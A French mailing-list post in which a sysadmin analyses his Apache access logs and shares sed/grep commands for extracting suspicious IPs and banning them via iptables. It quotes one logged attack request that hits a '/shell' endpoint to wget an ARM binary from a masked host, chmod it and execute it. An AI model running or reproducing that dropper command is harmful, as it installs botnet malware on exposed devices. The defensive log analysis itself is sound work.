Bonsoir,
j'ai un petit serveur Apache qui me sert un peu, et qui est connecté à
Internet.
L'analyse des logs montre qu'il est régulièrement sollicité par toutes
sortes d'IP, et que des robots essayent de lui faire faire des trucs pas
sympa.
Exemple:
(gzip -cd /var/log/apache2/access.log*.gz; cat
/var/log/apache2/access.log)|grep shell
x.x.x.x - - [18/Apr/2022:19:19:43 +0200] "GET
/shell?cd+/tmp;+wget+http:/\\/y.y.y.y/FKKK/NW_BBB.arm;+chmod+777+NW_BBB.arm;+./NW_BBB.arm
Jaws.Selfrep;rm+-rf+NW_BBB.arm" 400 493 "-" "-"
J'ai masqué les IPs, car ce ne sont probablement des bots.
Trois remarques:
- ce qui veut être fait est assez clair : télécharger un binaire depuis
y.y.y.y, et l'exécuter
- à l'extension ".arm", la cible de l'attaque pourrait être un mini-pc
ou un objet connecté quelconque
- non mais sérieusement : quel est le ###### de développeur qui laisse
un script appelé "shell", et qui de toute évidence permet de lancer des
commandes de type unix/linux/posix, sans aucune protection, et ce,
directement depuis un serveur web ? Sérieux, il y a qui réfléchissent
lorsqu'ils codent / intègrent ?
En analysant les requêtes apaches, je me rends compte qu'il y a
régulièrement des accès qui ciblent des requêtes bien précises, aussi je
partage ici un peu de bricolage:
# Extrait toutes les requêtes, et renvoi un fichier en 3 colonnes
(séparés par des tabulations):
# - IP
# - Requête
# - Code HTTP de retour
https://fr.wikipedia.org/wiki/Liste_des_codes_HTTP#Codes_d'%C3%A9tat :
Les 2xx ont acceptables, les autres un peu moins voir pas du tout
#
# Il y a trois petit filtrages à la fin, afin de retirer:
# - les requêtes "GET /" et "GET /favicon.ico" qui sont un minimum légitimes
# - les IP locales
# - les requêtes qui sont acceptés par la serveur (code HTTP 200)
(gzip -cd /var/log/apache2/access*.log*.gz; cat
/var/log/apache2/access*.log.[0-9]; cat /var/log/apache2/access*.log) |
sed -e 's/^\([0-9\.]\+\) [^]]\+] "\([^"]\+\)"
\([0-9]\+\).*/\1\t\2\t\3/g' -e '/\tGET \(\/\|\/favicon.ico\)
HTTP\/[0-9]\.[0-9]/d' -e '/200$/d' -e
'/^\(192\.168\.[01]\.\|127\.\0\.0\.1\)/d' |sort -u| tee /tmp/analyse-1.txt
Evidement, l'analyse ci-dessus dépend fortement du format des logs apache:
# grep -ir logformat /etc/apache2/
/etc/apache2/apache2.conf:LogFormat "%v:%p %h %l %u %t \"%r\" %>s %O
\"%{Referer}i\" \"%{User-Agent}i\"" vhost_combined
/etc/apache2/apache2.conf:LogFormat "%h %l %u %t \"%r\" %>s %O
\"%{Referer}i\" \"%{User-Agent}i\"" combined
/etc/apache2/apache2.conf:LogFormat "%h %l %u %t \"%r\" %>s %O" common
/etc/apache2/apache2.conf:LogFormat "%{Referer}i -> %U" referer
/etc/apache2/apache2.conf:LogFormat "%{User-agent}i" agent
# Inverse les colonnes 1 et 2 dans le fichier ci-dessus, afin de repérer
plus facilement les accès récurrents
sed -e 's/^\([^\t]\+\)\t\(.*\)/\2\t\1/g' /tmp/analyse-1.txt| sort -u |
tee /tmp/analyse-2.txt
# Il reste à faire une analyse manuelle, de ce qui paraît honnête ou
non, et de supprimer de /tmp/analyse-2.txt ce qui est légitime/
Grosso-modo, pas grand chose ... :)
# Extrait les adresses IP au comportement suspect
sed -e 's/.*\t//g' /tmp/analyse-2.txt | sort -u | tee /tmp/analyse-3.txt
# wc -l /tmp/analyse-*
1682 /tmp/analyse-1.txt
1682 /tmp/analyse-2.txt
248 /tmp/analyse-3.txt
=> 248 IP à bannir ...
# Après, j'ai un alias maison qui rajoute les IP au filtrage iptables
for IP in `cat /tmp/analyse-3.txt`; do iptables_filter_add "$IP"; done
Cordialement,
Olivier
--
~~~~~~~ _____/\_____ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Phoenix / _ \/ _ \ Olivier Allard-Jacquin
/ / \ / \ \ Web: http://olivieraj.free.fr/
/___/ / \ \___\ Mail: olivieraj@???
~~~~ ///// ///\\\ \\\\\ ~~~~~~~~~~~~~~~~~~~~~~~ Linux Powered !!